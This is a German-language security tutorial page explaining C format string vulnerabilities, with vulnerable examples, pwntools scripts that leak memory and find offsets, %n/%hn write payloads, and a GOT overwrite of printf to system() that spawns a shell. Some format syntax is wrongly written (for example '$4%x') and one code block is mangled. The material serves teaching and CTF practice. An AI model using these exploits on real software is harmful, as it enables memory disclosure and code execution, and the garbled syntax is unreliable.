Format Strings

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Grundlegende Informationen

In C ist printf eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden erwarteten Parameter sind die Werte, die die Formatierer des Rohtexts ersetzen sollen.

Andere anfällige Funktionen sind sprintf() und fprintf().

Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erster Argument an diese Funktion übergeben wird. Der Angreifer kann einen speziellen Eingabe missbrauchen, um die Fähigkeiten der printf-Formatzeichenfolge zu nutzen und beliebige Daten an beliebiger Adresse zu lesen und zu schreiben (lesbar/schreibbar). Auf diese Weise kann er beliebigen Code ausführen.

Formatierer:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Beispiele:

  • Verwundbares Beispiel:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale Verwendung:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Mit fehlenden Argumenten:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf anfällig:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Zugriff auf Zeiger

Das Format %<n>$x, wobei n eine Zahl ist, ermöglicht es printf anzuweisen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:

printf("%x %x %x %x")

und Sie würden vom ersten bis zum vierten Parameter lesen.

Oder Sie könnten Folgendes tun:

printf("$4%x")

und lesen Sie direkt den vierten.

Beachten Sie, dass der Angreifer den printf-Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stapel liegt, wenn printf aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.

Ein Angreifer, der diese Eingabe kontrolliert, kann beliebige Adressen im Stapel hinzufügen und printf dazu bringen, darauf zuzugreifen. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.

Beliebiges Lesen

Es ist möglich, den Formatter %n$s zu verwenden, um printf die Adresse zu erhalten, die sich an der n-Position befindet, und sie dann zu drucken, als ob es ein String wäre (drucken, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei 0x8048000 ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit zu drucken:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenfolge am Ende dieser Adresse mit 0x00 abgeschnitten wird.

Offset finden

Um den Offset für Ihre Eingabe zu finden, könnten Sie 4 oder 8 Bytes (0x41414141) senden, gefolgt von %1$x und den Wert erhöhen, bis die A's zurückgegeben werden.

Brute-Force-Printf-Offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Wie nützlich

Arbiträre Lesevorgänge können nützlich sein, um:

* **Den** **Binärcode** aus dem Speicher zu **dumpen**
* **Auf spezifische Speicherbereiche zuzugreifen, in denen sensible** **Informationen** gespeichert sind (wie Prüfsummen, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbiträres Schreiben**

Der Formatter **`$<num>%n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stapel. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, wird er in der Lage sein, **`$<num>%n`** dazu zu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.

Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Stattdessen ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, auf die die Position `num` zeigt**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie 0x08049724 (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), $hn anstelle von $n verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird diese Operation zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.

Daher ermöglicht diese Schwachstelle, beliebige Daten an beliebige Adressen zu schreiben (beliebiges Schreiben).

In diesem Beispiel soll das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen von beliebigem Code durch beliebiges Schreiben ausnutzen könnte:

Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält und sie auf die system-Funktion zeigt. Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn verwendet.

  • HOB wird für die 2 höheren Bytes der Adresse aufgerufen

  • LOB wird für die 2 niedrigeren Bytes der Adresse aufgerufen

Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere von [HOB, LOB] schreiben und dann das andere.

Wenn HOB < LOB [Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]

Wenn HOB > LOB [Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]

HOB LOB HOB_Shellcode-8 NºParam_dir_HOB LOB_Shell-HOB_Shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Vorlage

Sie können eine Vorlage finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:

Oder dieses grundlegende Beispiel von hier:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings zu BOF

Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbrauchen, um Adressen des Stacks zu schreiben und eine Schwachstelle vom Typ Buffer Overflow auszunutzen.

Weitere Beispiele & Referenzen

Last updated